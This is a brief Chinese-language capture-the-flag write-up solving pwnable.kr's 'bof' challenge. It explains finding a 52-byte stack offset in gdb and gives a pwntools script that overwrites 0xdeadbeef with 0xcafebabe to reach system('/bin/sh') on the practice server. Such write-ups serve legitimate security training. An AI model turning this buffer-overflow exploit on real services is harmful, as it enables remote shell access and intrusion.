pwnable.kr
下载
先将bof
与 bof.c
下载下来,先检查下 bof
开启的保护
是真的吓到,基本能开的都开了,但是转念一想,入门级别没有那么恶心人吧,然后看看源代码
发现,只是要将传入的0xdeadbeef
通过栈溢出换成0xcafebabe
,而且在程序里面已经有调用system("/bin/sh")
的语句,只要替换成功就能调用,那这些保护基本也没什么意义嘛。
gdb调试
继续单步,输入AAAAAAAA
,之后x/30x $esp
查看栈空间
A
的ASCLL
值为41
,可以看出,我们要覆盖的地址与输入地址相差52
个字节.
Exp
from pwn import *
r = remote('pwnable.kr','9000')
buf = 52 * 'A'
buf += p32(0xcafebabe)
r.sendline(buf)
r.interactive()
运行下
flag
=daddy, I just pwned a buFFer :)